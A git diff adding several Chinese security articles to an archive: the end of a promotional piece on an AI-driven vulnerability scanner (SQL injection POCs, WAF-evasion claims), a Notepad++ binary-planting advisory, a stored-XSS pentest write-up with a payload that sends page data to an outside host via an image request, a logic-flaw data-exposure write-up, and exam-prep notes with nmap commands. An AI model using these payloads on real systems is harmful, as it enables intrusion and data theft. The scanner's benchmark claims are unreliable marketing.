https://mall.xxxx.com/search.php + +参数: keyword + +风险等级: CRITICAL + +置信度: 99.2% + +验证POC: electronics' UNION SELECT 1,@@version,3,4-- + + +漏洞 #2: + +位置: https://mall.xxxx.com/product/123 + +参数: id + +风险等级: HIGH + +置信度: 97.5% + +验证POC: 123 AND 1=CONVERT(int,(SELECT CURRENT_USER)) + + +扫描统计: + +耗时: 127秒 + +请求数: 83 + +误报过滤率: 98.7% + +**技术突破:通过MCP服务器分布式节点,单次扫描可同时检测300+个参数点,传统工具需要3小时的任务,DeepSeek智能体仅需2分钟完成!** + +**0****3** + +**新旧扫描器生死对决(更新版)** + + + + + + +能力维度传统扫描器DeepSeek+MCP智能体提升幅度扫描架构集中式单点扫描分布式MCP节点网络革命性突破SQL注入检测深度基础语法检测上下文感知+逻辑链分析↑320%误报率25%-40%<1.3%↓95%扫描速度200参数/小时3000参数/分钟↑1000%隐蔽性易触发WAF警报流量伪装+动态IP池不可比复杂环境支持❌ 云架构困难✅ 全球MCP节点自动调度∞零日漏洞检测依赖签名更新大模型实时生成检测逻辑分钟级响应 +**实测对比数据(电商平台扫描):** + +指标OpenVASNessusDeepSeek+MCP漏洞检出数7923误报数18150扫描时间3h 22m2h 45m2m 07sCPU占用峰值92%85%15% +**0****4** + +**架构优势总结** + + + + + + +**DeepSeek+MCP智能体的三重降维打击:** +1. **分布式扫描网络** + +1. 全球部署的MCP服务器形成扫描矩阵 + +1. 自动避开黑名单IP区域 + +1. 扫描负载动态均衡 + +1. **大模型智能决策引擎** + + + +**** + +1. **精准验证闭环** + +1. 漏洞理论分析 → POC动态生成 → 实际验证 → 结果反馈 + +1. 置信度量化评估(90%+才告警) + +> **最后警告** +:当对手的扫描器已进化到AI智能体时代,继续使用传统工具等同于在数字战场上"裸奔"! + + +**0****5** + +**0x4 关注我们** + + + + + + + + + +**0****6** + +**0x5 往期好文** + + + + + + +[MCP协议+Prompt Injection:下一代AI中毒新手法局(大模型注入攻击)](https://mp.weixin.qq.com/s?__biz=Mzg2OTU3MzI1OQ==&mid=2247486116&idx=1&sn=706f4ec45741cca9182384939c3fca77&scene=21#wechat_redirect) + + +[三体攻击!DeepSeek+MCP+Burpsuite核弹级组合引爆全栈漏洞猎杀革命](https://mp.weixin.qq.com/s?__biz=Mzg2OTU3MzI1OQ==&mid=2247486086&idx=1&sn=4976313db092334b564fa2621662e2d3&scene=21#wechat_redirect) + + +[Clash Verge Rev 2.2.4代码级修复:如何用双模式架构封杀所有已知攻击链](https://mp.weixin.qq.com/s?__biz=Mzg2OTU3MzI1OQ==&mid=2247486061&idx=1&sn=4d3bf1e3a7fbc65d4b6f160e7a354e1c&scene=21#wechat_redirect) + + diff --git a/doc/2025-06/【威胁情报】:Notepad++ 本地提权漏洞 POC目前已公开.md b/doc/2025-06/【威胁情报】:Notepad++ 本地提权漏洞 POC目前已公开.md new file mode 100644 index 00000000..3ee5268c --- /dev/null +++ b/doc/2025-06/【威胁情报】:Notepad++ 本地提权漏洞 POC目前已公开.md @@ -0,0 +1,123 @@ +# 【威胁情报】:Notepad++ 本地提权漏洞 | POC目前已公开 +稻草人 玄武盾网络技术实验室 2025-06-25 00:30 + +“ + 对我们感兴趣的话就点个关注吧!**”** + + +## 免责声明:本文仅供安全研究与学习之用,严禁用于非法用途,违者后果自负。 + +## 漏洞背景与技术细节 + +截至 2025 年 6 月 24 日,CVE-2025-49144 被认定为一个极为严重的安全漏洞,其影响范围涵盖 Notepad++ 的安装程序,具体涉及 v8.8.1 及更早版本。Notepad++ 作为一款在 Windows 系统中被广泛运用的免费开源源代码编辑器,深受众多用户青睐。 + + +经检测,该漏洞类型为 “未受控制的可执行文件 / 动态链接库搜索路径”(Uncontrolled EXE/DLL Search Path),亦被称作 “二进制植入”(Binary Planting),属于本地权限提升类漏洞。在计算机程序运行机制中,可执行文件在启动时,会按照特定规则搜索所需的动态链接库文件(DLL)。正常情况下,系统会优先在安全且指定的目录中进行查找,如系统文件夹(像 Windows 系统中的 C:\Windows\System32 等目录,其中存放着 kernel32.dll、user32.dll 等众多重要的动态链接库文件)。然而,当存在 “未受控制的可执行文件 / 动态链接库搜索路径” 这类漏洞时,恶意攻击者便有机会通过精心构造的方式,让程序在搜索 DLL 文件时,优先加载其植入的恶意 DLL。例如,攻击者可能会将恶意 DLL 放置在程序启动时默认搜索路径中的某个位置,而程序由于漏洞原因,未能遵循安全搜索机制,直接加载了该恶意 DLL,从而使得恶意代码得以执行。在本地权限提升方面,一旦恶意 DLL 被加载执行,攻击者就可能利用漏洞,突破原本用户所具有的权限限制,获取更高的系统权限。这就好比普通用户在系统中原本只有查看某些文件的权限,但攻击者利用此漏洞,使该用户能够获得修改甚至删除系统关键文件的权限,进而对系统的稳定性、安全性造成严重威胁。 + + + +根据技术调查结果显示,该漏洞的根本成因在于 Notepad++ 安装程序在调用regsvr32 +组件时未采用绝对路径引用机制。具体而言,其底层实现逻辑中可能存在类似如下的代码调用形式: +- **漏洞代码** +:ExecWait 'regsvr32 /u /s "$INSTDIR\NppShell_01.dll"' +这会导致安装程序从当前工作目录加载 regsvr32.exe +,攻击者若事先在该目录放置了恶意可执行文件,系统将以 SYSTEM 权限执行该文件。 + +修复版本 v8.8.2 修改了该行为,明确指定绝对路径,如: +- **修复代码** +:ExecWait '$SYSDIR\regsvr32.exe /u /s "$INSTDIR\NppShell_01.dll"' +这样可以避免从当前工作目录加载恶意文件。 + + +## 攻击方法与影响 + +攻击方法分为以下几个步骤: +1. **准备阶段** +:攻击者在目标系统当前工作目录中放置一个恶意的 regsvr32.exe + 文件或其他可执行文件。 + +1. **攻击向量** +:用户运行 Notepad++ v8.8.1 的安装程序。 + +1. **执行阶段** +:安装程序调用 regsvr32 + 时,从当前工作目录加载恶意文件,并以 SYSTEM 权限执行。 + +1. **结果** +:攻击者获得对系统的完全控制权,可安装程序、修改数据或创建新账户 + +该漏洞的严重性被评为高(High),CVSS v3 分数为 AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H,评分为 7.8/10。用户交互(UI:R)是触发条件之一,但攻击者只需诱导用户运行安装程序即可。 +## PoC 与公开信息 + +目前已公开该漏洞的概念验证(PoC)材料,可供安全研究领域专业人员开展漏洞验证工作。相关 PoC 资源可通过以下链接获取,其中包含漏洞演示视频及核心验证代码。这一公开行为标志着该漏洞已引发安全业界的广泛关注,从风险评估角度来看,其潜在威胁等级已显著提升。 + + + + + +演示视频 +``` +https://youtu.be/qCQlVllAfO0 +``` + +**POC** +``` +https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-9vx8-v79m-6m24https://drive.google.com/drive/folders/11yeUSWgqHvt4Bz5jO3ilRRfcpQZ6Gvpn +``` +## 修复建议 + +**1、所有 Notepad++ 用户请务必更新至 8.8.2 及以上版本** + +**2、下载渠道谨慎:强烈建议从 Notepad++ 官网、GitHub Releases 下载,不使用第三方镜像或链接。** + +**3、安装隔离建议:对于重要设备,将安装操作限于受控目录,避免与下载文件混杂。** + +**4、强化本地保护机制:结合用户权限控制、安装时 UAC 弹出提示等机制阻挡本地投毒路径。** + +**5、提升警惕:定期清理 Downloads 文件夹,不随意执行下载的 EXE 和 DLL;企业可结合 EDR 工具拦截异常加载行为。** + +此外,开发人员和系统管理员可参考以下建议: +- **使用绝对路径** +:确保所有可执行文件的调用使用绝对路径,避免从当前工作目录加载。 + +- **数字签名验证** +:实施文件数字签名验证,确保加载的文件来源可信。 + +- **安全临时目录** +:使用随机化的临时目录名称,减少攻击者植入恶意文件的可能性。 + +## 相关漏洞与对比 + +该漏洞与以下类似漏洞有一定关联: +- CVE-2023-6401:涉及类似二进制植入问题。 + +- CVE-2023-47452:特权提升漏洞。 + +- CVE-2024-44346:相关软件中的类似问题。 + +- Dell SupportAssist (DSA-2024-312):涉及安装程序的安全性问题 + +这些漏洞均强调了安装程序中未受控制搜索路径的潜在风险,值得注意。 +## 时间线与发布信息 + +根据技术调查数据显示,该安全漏洞首次披露于 2025 年 5 月 5 日,美国国家漏洞数据库(NVD)于 2025 年 6 月 23 日完成相关变更记录的更新。公开情报表明,GitHub 安全咨询平台近期同步更新了漏洞详情,其技术文档中对漏洞原理、影响范围及潜在风险进行了系统性阐述: +``` +https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-9vx8-v79m-6m24 +``` + +## 漏洞总结 + +字段详情CVE IDCVE-2025-49144软件包Notepad++ (Windows)受影响版本v8.8.1 及更早修复版本v8.8.2漏洞类型未受控制 EXE/DLL 搜索路径 (Binary Planting)影响本地特权提升至 NT AUTHORITY\SYSTEM发布日期2025-05-05严重性高CVSS v3 分数AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H, 评分为 7.8/10攻击方法攻击者植入恶意文件,用户运行安装程序,加载恶意文件以 SYSTEM 权限执行PoC公开类似漏洞CVE-2023-6401, CVE-2023-47452, CVE-2024-44346, Dell DSA-2024-312 + + +为爱发电,创作不易,随手点个「推荐」吧! + + + +声明: +技术文章均收集于互联网,仅作为本人学习、记录使用。 +侵权删 +! +! +! + diff --git a/doc/2025-06/【渗透测试】记录某企业存储型XSS漏洞从发现到数据外泄全路径分析.md b/doc/2025-06/【渗透测试】记录某企业存储型XSS漏洞从发现到数据外泄全路径分析.md new file mode 100644 index 00000000..1f38dbe4 --- /dev/null +++ b/doc/2025-06/【渗透测试】记录某企业存储型XSS漏洞从发现到数据外泄全路径分析.md @@ -0,0 +1,333 @@ +# 【渗透测试】记录某企业存储型XSS漏洞从发现到数据外泄全路径分析 +tangkaixing 神农Sec 2025-06-25 01:01 + +扫码加圈子 + +获内部资料 + + + + + + + +# + +网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。 +不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。 +# + +文章作者: +tangkaixing + +文章来源:https://xz.aliyun.com/news/18290 + + +**某企业存储型XSS漏洞从发现到数据外泄全路径分析** + + +# 0x1. 概述 + + +由于漏洞系统比较敏感,下面涉及域名地址的相关图片我就只能厚码打上,感谢各位看官的支持与理解!!! + +# 0x2. 正文 + +#### 0x01 漏洞发现: +#### 进入系统后就发现有发布公告的功能点,当然会测试一番,好家伙,被过滤了,在换,再试,然后看js,确实过滤,就不断尝试,burp改包发包验证,常规xss语句看来是弹窗不了;不要问我为什么就觉得这里有问题,问就是凭借直觉和它做了过滤动作,必定有没有过滤到位的,自然也就坚持去搞搞。 + + + + + + + + + + + +然后就看了,发布公告的里面输入框具体过滤什么,分析后就开始绕过之路!!! + + + + + +从js可以知道 +存在前端过滤+符号转义+禁用字符检测,同时也分析发现前端过滤机制excludeSpecial()函数被注释无效,containSpecial()仅检测$^<>和script关键词,就是使用绕过特殊字符检测,采用无尖括号事件处理器:onmouseover代替onload。 + + + +#### 0x02 验证漏洞: + + +分析后就如下方式尝试构造如下3个poc进行绕过: + +1. **语法构造优化** +- " x=" +:强制闭合原始属性 + +- 空格分隔:绕过空格过滤检测 +- 省略引号:采用无引号事件调用 +1. **特征规避技术** +- 避免使用黑名单字符: +<>$^ +等 + +- 避开关键词:不使用 +script/js/http +等 + +- 使用低频事件处理器:onmouseover> onclick +POC验证阶段渗透对象" onmouseover="alert(1)" x="基础验证弹窗事件触发机制" onmouseover="alert(document.cookie)" x="会话穿透HttpOnly Cookie保护" onmouseover="(new Image).src='...'" x="数据渗出DOM核心业务节点 +``` +" onmouseover="alert(1)" x=" + +1. 关键字符检测仅限 [$^<>],空格/引号/括号均被放行 +2. "script"检测可通过事件处理器绕过 +3. 未监控Image对象请求外部资源行为 +``` + + + + +DOM精准渗透/流量伪装技术: + +``` +" onmouseover="alert(document.cookie)" x=" + +" onmouseover=" + (new Image).src='https://x.xxx.xx.xx:8000/log?k='+encodeURIComponent( + document.querySelector('.th_bg').innerText + ) +" x=" + +.th_bg // 定位企业公告核心DOM节点 +.innerText // 文本提取避开HTML结构干扰 +encodeURIComponent // 规避特殊字符警报 +(new Image).src= // 伪装图片请求 +'http://'+IP+端口 // 绕过协议关键字检测 +/log?k= // 模拟正常日志请求 + +``` + + + + + + + +**漏洞核心突破点** +: + + +- 无视 +containSpecial() +函数对 +$^<> +和 +script +的检测 + +- 利用前端过滤失效实现HTML属性逃逸 +- 实现从基础弹窗到业务数据窃取的攻击 +- 输入检测盲区 + 渲染层无过滤 = 持久化攻击链 +# 0x3. 总结 + + +**根本漏洞链** +: + + 无效过滤函数 → 事件处理器白名单缺失 → 属性逃逸构造 → DOM数据渗出 + + +**完整漏洞链** +: + + + + + +**渗透测试链路** +: + +``` +过滤检测 → 属性逃逸 → 事件注入 → 数据提取 → 外传通道 + +//坚持自己选择,不要遇到绕不过的就放弃了,毕竟有很多事情,不起尝试怎么知道自己不行咯! +``` +# +# 0x4. 最后忠告 + + +XSS漏洞挖掘的本质是语法与规则的对抗。成功的挖掘必须建立在: + + +1. 对过滤机制的逆向解构 +1. 业务场景数据节点的测绘 +1. 渗出通道的隐蔽性保障 保持对空格/引号/括号等基础语法元素的敏感性,往往比追求复杂攻击技术更有成效! +**内部小圈子详情介绍** + + + +我们是 +神农安全 +,点赞 + 在看 + 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。 + + + + + + + +**内部圈子介绍** + + + + + + +**圈子专注于更新src/红蓝攻防相关:** + +``` +1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例 +2、知识星球专属微信“小圈子交流群” +3、微信小群一起挖洞 +4、内部团队专属EDUSRC证书站漏洞报告 +5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防) +6、分享src挖掘技巧tips +7、不定期有众测、渗透测试项目(一起挣钱) +8、不定期有工作招聘内推(工作/护网内推) +9、送全国职业技能大赛环境+WP解析(比赛拿奖) +``` + + + + +**内部圈子** +**专栏介绍** + +知识星球内部共享资料截屏详情如下 + +(只要没有特殊情况,每天都保持更新) + + + + + + +**知识星球——** +**神农安全** + +星球现价 +¥45元 + +如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌 + +星球人数少于900人 45元/年 + +星球人数少于1000人 60元/年 + +(新人优惠卷20,扫码或者私信我即可领取) + + + +欢迎加入星球一起交流,券后价仅45元!!! 即将满900人涨价 + +长期 +更新,更多的0day/1day漏洞POC/EXP + + + +**内部知识库--** +**(持续更新中)** + + + + +**知识库部分大纲目录如下:** + +知识库跟 +知识星球联动,基本上每天保持 +更新,满足圈友的需求 + + + + +知识库和知识星球有师傅们关注的 +EDUSRC +和 +CNVD相关内容(内部资料) + + + + +还有网上流出来的各种 +SRC/CTF等课程视频 + +量大管饱,扫描下面的知识星球二维码加入即可 + + + + + +不会挖CNVD?不会挖EDURC?不会挖企业SRC?不会打nday和通杀漏洞? + +直接加入我们小圈子: +知识星球+内部圈子交流群+知识库 + +快来吧!! + + + + + + +神农安全知识库内部配置很多 +内部工具和资料💾, +玄机靶场邀请码+EDUSRC邀请码等等 + + + + +快要护网来临,是不是需要 +护网面试题汇总 +? +问题+答案(超级详细🔎) + + + + +最后,师傅们也是希望找个 +好工作,那么常见的 +渗透测试/安服工程师/驻场面试题目,你值得拥有!!! + + + + +内部小圈子—— +圈友反馈 +( +良心价格 +) + + + + + + +**** +**神农安全公开交流群** + +有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群) + + + + +``` +``` + + + + + diff --git a/doc/2025-06/一次从0到1的逻辑漏洞挖掘之旅.md b/doc/2025-06/一次从0到1的逻辑漏洞挖掘之旅.md index 907f1c6b..9423a465 100644 --- a/doc/2025-06/一次从0到1的逻辑漏洞挖掘之旅.md +++ b/doc/2025-06/一次从0到1的逻辑漏洞挖掘之旅.md @@ -1,10 +1,8 @@ # 一次从0到1的逻辑漏洞挖掘之旅 -新人小安 亿人安全 2025-06-24 01:50 - -原文链接: -https://forum.butian.net/share/4420 + 船山信安 2025-06-25 04:29 当我看到前端没任何功能点时,是绝望的;看到登录到系统后端只调用了两个接口时,是绝望的;看到js中一堆接口,但大多数都是403时,是绝望的;找到一个能调通的接口,但不知道参数名时,是绝望的;找到参数名,但是不知道传参的值时,是绝望的 +# 渗透测试 一次从0到1的逻辑漏洞挖掘之旅 ## 前言 最近对某产品进行渗透测试,系统登陆进去发现是一片空白,前端没有任何菜单,界面,登陆后也仅仅只会产生两个后端请求,通过爆破也发现没有什么敏感的接口、api文档等。 @@ -13,9 +11,13 @@ https://forum.butian.net/share/4420 此篇文章用于复盘,现在回想,似乎这次漏洞挖掘的每一步都是一个“绝望”的心态: > 看到前端没任何功能点时,是绝望的 + 看到登录到系统后端只调用了两个接口时,是绝望的 + 看到js中一堆接口,但大多数都是403时,是绝望的 + 找到一个能调通的接口,但不知道参数名时,是绝望的 + 找到参数名,但是不知道传参的值时,是绝望的 @@ -24,51 +26,51 @@ https://forum.butian.net/share/4420 得到资产之后,是个域名,直接访问一手,于是就来了当头一棒,访问登陆后前端界面如下,鸟都没有,此情此景,一个大大的Welcome看起来好像也没有那么欢迎我。 - + 一般遇到这种情况,我的惯用操作就是:前端不行,试试后端接口,抓抓包,看看从登录到进入这个平台的时候,都调用了哪些接口。使用Burp即可 - + 然而,看到结果之后心又凉了半截,从登录到进入平台前端,没有任何功能点交互相关的请求,只有两个可信认证类的确认用户身份的接口 - + 不过遇到这种情况也能有一些收获,看到接口路由非常规范,可以猜测是spring的后端,那么就可以跑一下敏感路径,看看会不会泄露一些敏感的Actuator端点,有没有api-docs等。当然,结果在大多数情况下是不理想的 - + 在这种情况,有两条路,第一个就是顺着这些敏感的接口继续走,目前提示403,可以用一些静态文件后缀尝试能不能bypass,但这个我试了也是失败,所以就启用另一个策略,既然爆破不出敏感路径和接口文档,那就动手去找。 这里也是分享下我找接口的思路:就是从前端js文件中去搜索,具体怎么搜索呢?可以根据已有的接口,也就是上面我们抓包抓到唯二的两个接口,直接F12,全局搜索,搜索上面抓到包的接口,这里不一定直接搜完整的接口名,比如上面有一个接口是“api/user/current-menu-tree”,那么我们可以搜"api/"或者"user"等等,挑选关键词搜就OK了,结果如下: - + 这里也是非常幸运,直接搜索,点进去就发现了大量的接口,这里接口并不是分开的,而是直接写在了一起,这对我们而言就非常有利 - + 直接复制下来,稍微正则表达式提取一下路径,就可以放到Burp里面跑一下 - + - + 但是到现在其实一个问题也显而易见了,我们这样测试只是单纯的GET请求接口,没有携带任何参数,因为我们不知道接口需要什么参数,也不知道具体参数值该传什么,我个人的习惯就是直接发包,先筛选出起码不是403的接口,之后也许能根据接口的报错信息,提示或者回显来判断需要什么参数,进而再进行构造,尝试调通接口,寻找可用信息。 - + Burp跑完之后还是有一些信息,其中HaE已经给我们标出来了,图上就有一个请求返回了手机号的字段,但实际上那个接口没什么危害,返回的都是公开的信息。这些接口中有的提示是200,有的是403,200中还有一些是提示我们请求方式不正确,例如下图: - + 有的请求要求是POST,有的要求是PUT,我们只需要再次发到repeater中单独再次测试即可。测试中,通过接口的名称,发现了一个报错的接口 - + 通过报错,可以看到,似乎这个接口没能调通的原因,就是因为缺少一个参数,名称为"tenantId",看到这个报错,心情喜出望外,立马拼接了一手试了一下,虽然tenantId这个id不知道具体填什么,先随便来个,1或者123这种: - + 可以看到,虽然成功了,但是没有卵用,接口调通了,没有数据,那就说明我们的参数tenantId也许是错误的,本来有了一些希望,现在又变成了绝望,就目前的情况我们根本不知道tenantId具体该填什么,此时我也尝试了爆破,但是没有任何效果。 @@ -76,11 +78,11 @@ Burp跑完之后还是有一些信息,其中HaE已经给我们标出来了, 果不其然,在不懈的努力下,发现之前爆破中的接口,返回了这样一组数据: - + 没错!终于找到tenantld了!赶紧拼接请求一手! - + 终于,成功,拼接这个tenantld后,接口返回了573w用户信息。此时此刻,感觉刚刚付出的一切,都有了结果! ## 总结 @@ -90,3 +92,6 @@ Burp跑完之后还是有一些信息,其中HaE已经给我们标出来了, 希望通过这篇文章与各位师傅分享我关于接口与API漏洞挖掘方面的技巧,同时也非常欢迎大家随时与我进行交流,共同进步,感谢大家! +转自: +https://forum.butian.net/share/4420 + diff --git a/doc/2025-06/信息安全工程师系列-第13关 网络安全漏洞防护技术原理与应用.md b/doc/2025-06/信息安全工程师系列-第13关 网络安全漏洞防护技术原理与应用.md new file mode 100644 index 00000000..126070c8 --- /dev/null +++ b/doc/2025-06/信息安全工程师系列-第13关 网络安全漏洞防护技术原理与应用.md @@ -0,0 +1,333 @@ +# 信息安全工程师系列-第13关 网络安全漏洞防护技术原理与应用 + 安小圈 2025-06-25 00:45 + +**安小圈** + + +第694期 + +**** + + + + +知险防险不危险,违章蛮干最危险。 + + —安全生产格言 + +**一、网络安全漏洞核心概念与威胁** + + +(一)漏洞定义与分类 + +漏洞是导致系统安全策略冲突的缺陷,可造成机密性受损、完整性破坏等风险。例如 2018 年披露的 Meltdown 和 Spectre CPU 漏洞,影响 1995 年后生产的 Intel、AMD 等芯片及 Windows、Linux 等主流系统,允许程序窃取内存中处理的数据。 + +分类标准: + +普通漏洞: +信息公开且有修补方案(如 Windows 补丁修复的漏洞)。 + +零日漏洞: +新发现且未发布补丁,常被用于定向攻击(如 APT 组织利用未公开漏洞攻击政府机构)。 + +(二)重大安全事件与现状 + +典型案例: +时间事件利用漏洞2017 年Wannacry 勒索病毒Windows SMB 漏洞2010 年震网病毒Windows 及 WinCC 系统漏洞2003 年冲击波蠕虫Windows DCOM RPC 缓冲区溢出漏洞 + + + +现状分析: + +国内外漏洞数据库显示,商业操作系统、数据库及开源软件普遍存在漏洞,AI、5G 等新领域成为漏洞研究热点。 + +国家层面建立漏洞管理体系:美国 NVD、我国 CNNVD/CNVD,制定《信息安全技术安全漏洞分类》等标准。 + + +**二、漏洞分类与管理体系** + + +(一)漏洞来源与分类 + +1. 非技术性漏洞(管理缺陷): + +责任主体不明确:如企业无专职安全部门,导致漏洞修复无人跟进。 + +策略不完备:缺少笔记本电脑接入策略,允许外部设备非法接入内网。 + +人员技能不足:员工不知如何设置安全口令,导致弱口令漏洞。 + +2. 技术性漏洞(技术缺陷): + +设计错误:TCP/IP 协议设计允许 IP 地址伪造。 + +缓冲区溢出:输入数据超过缓冲区长度,导致程序执行恶意代码。 + +SQL 注入:未验证用户输入,攻击者通过 URL 注入恶意 SQL 语句。 + +(二)漏洞管理流程 + + + + + +资产确认: +建立信息资产档案,如使用 Qualys Guard 管理 IP 和域名资产。 + +漏洞评估: +基于 CVSS v3.0 量化威胁,满分 10 分(如某漏洞得 9.8 分,属于高危)。 + +修补与控制: +安装补丁、升级系统,如 Oracle 针对 MySQL Server 拒绝服务漏洞发布补丁。 + +动态跟踪: +监控新资产上线和威胁变化,持续修补漏洞。 + + +**三、漏洞扫描技术与应用** + + +(一)扫描器类型与原理 + +1. 主机漏洞扫描器 + +原理:检查本地文件、配置和弱口令,如 Tiger 工具检测 UNIX 系统配置问题。 + +案例:MBSA(微软基准安全分析工具)扫描 Windows 系统补丁缺失和弱口令。 + + + +2. 网络漏洞扫描器 + +原理:通过网络连接发送请求检测漏洞,如 Nessus 利用插件检测 Web 服务漏洞。 + +案例:Nmap 扫描目标端口,发现开放的 445 端口(可能存在永恒之蓝漏洞)。 +``` +nmap -p 445 目标IP # 扫描指定主机的445端口nmap -p 445 192.168.1.0/24 # 扫描整个网段的445端口开放情况 +``` + + +3. 专用漏洞扫描器 + +场景:数据库(如明鉴)、Web 应用(如 AppScan)、工控系统。 + +(二)实战案例:Windows RPC 漏洞扫描 + +下载 retinarpcdcom.exe 工具,输入目标 IP 地址。 + +扫描结果显示 “VULNERABLE”,表示存在 RPC 漏洞,需立即打补丁。 + + +**四、漏洞处置与防护技术** + + +(一)漏洞发现技术 + +模糊测试: +向系统输入异常数据(如超长字符串),检测崩溃漏洞,如 W3AF 用于 Web 应用测试。 + +动态污点分析: +追踪数据流向,发现未验证的输入漏洞,如 Metasploit 验证漏洞利用代码。 + +(二)漏洞修补与防范技术 + +1. 补丁管理流程: + +现状分析→补丁跟踪→验证→安装→应急处理→检查,如微软 SUS 系统自动分发补丁。 + +2. 利用防范技术: + +地址空间随机化(ASLR) +:随机化程序内存地址,防止缓冲区溢出攻击定位 shellcode。 + +虚拟补丁: +通过 WAF 过滤攻击流量,无需修改程序即可防御漏洞(如阻断 SQL 注入请求)。 + + +**五、历年真题与解析** + + +(一)2023 年单选题 + +题目: +下列哪项属于零日漏洞特征?( ) + +A. 已有公开修补方案 + +B. 未被厂商修复的漏洞 + +C. 仅影响老旧系统 + +D. 被广泛利用的常见漏洞 + +答案:B + +解析: +零日漏洞是尚未发布补丁的新漏洞,B 正确;A 为普通漏洞,C、D 与定义无关。 + +(二)2022 年案例分析题 + +背景: +某企业发现数据库存在 SQL 注入漏洞,需制定防护方案。 + +问题: + +推荐哪种专用扫描器? + +列出两种防范技术。 + +参考答案: + +推荐数据库漏洞扫描器 +或带有数据库扫描模块的漏洞扫描器 +,专注检测数据库安全缺陷。 + +防范技术: + +虚拟补丁: +通过 WAF 过滤含 “union select” 等特征的流量。 + +输入验证: +对用户输入进行正则表达式校验,禁止非法字符。 + + +**六、核心考点总结** + + +漏洞分类: +零日漏洞与普通漏洞的区别,CVE/CNVD 分类标准。 + +扫描技术: +主机 / 网络 / 专用扫描器的适用场景(如 Nessus 用于远程网络检测)。 + +处置技术: +ASLR、DEP 等内存保护技术的原理。 + +产品指标: +扫描器的漏洞检测数量、防护网关的阻断准确率。 + + +**七、复习建议** + + +对比记忆: +通过案例区分不同扫描器的应用场景(如主机扫描需本地安装,网络扫描可远程)。 + +实操练习: +用 Nmap 扫描端口、Tiger 检测 Linux 配置,熟悉工具操作。 + +关注标准: +重点掌握 CVSS 评分规则及我国漏洞管理标准(如 GB/T 30279)。 + + + + +END + + + +**【** +**原文来源:网络安全攻防与治理****】** + +**** + + + +- [信息安全工程师系列-第1关 网络信息安全概述](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546304&idx=3&sn=4e9c6735e112d4ec0d31faf6f4dd7606&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第2关 网络攻击原理与常用方法](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546327&idx=3&sn=6bdec92527bb39193c6b2f6132475ee4&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第3关 密码学基本理论](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546428&idx=3&sn=23150fd05807b3062d1742da2c253f29&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第4关 网络安全体系与网络安全模型](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546435&idx=3&sn=4f269aef408c04b67ab5cbb30faf6173&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第5关 物理与环境安全技术](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546463&idx=3&sn=b466a8ac20163a91551a51b50cf7b805&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第6关 认证技术原理与应用](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546530&idx=3&sn=e0e7e9c17bdc5e7a8bacea894d640bfe&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第7关 访问控制技术原理与应用](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546540&idx=3&sn=ce201f9f7ca231e841fd1b44d340fb37&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第8关 防火墙技术原理与应用](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546548&idx=3&sn=861aafb0404ea4956cdcaec51cf8559d&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第9关 VPN技术原理与应用](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546559&idx=3&sn=56842d219d0cefef72dcca5543ef6beb&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第10关 入侵检测技术原理与应用](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546578&idx=3&sn=a595a7f6abd15b0130065a02880a441e&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第11关 网络物理隔离技术原理与应用](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546673&idx=3&sn=bbf2eda83d6823d9d2500f5ddfdd0821&scene=21#wechat_redirect) + + +- [信息安全工程师系列-第12关 网络安全审计技术原理与应用](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546698&idx=3&sn=a031dd10a5c5107ebfb95a41d1567940&scene=21#wechat_redirect) + + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542458&idx=1&sn=d81d049331d175a2176f0978d7f032a8&scene=21#wechat_redirect) +- **挖矿病毒【应急响应】处置手册** + +****- **用Deepseek实现Web渗透自动化** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542225&idx=2&sn=244a465fab183f4fa91a284b92a920e6&scene=21#wechat_redirect) +- **【风险】DeepSeek等大模型私有化服务器部署近九成在“裸奔”,已知漏洞赶紧处理!** + +****- **关于各大网安厂商推广「DeepSeek一体机」现象的深度分析** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247541264&idx=1&sn=887bf392ba73e7c2c833a410e7168818&scene=21#wechat_redirect) +- [Deepseek真的能搞定【安全运营】?](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247541264&idx=1&sn=887bf392ba73e7c2c833a410e7168818&scene=21#wechat_redirect) + + + +- 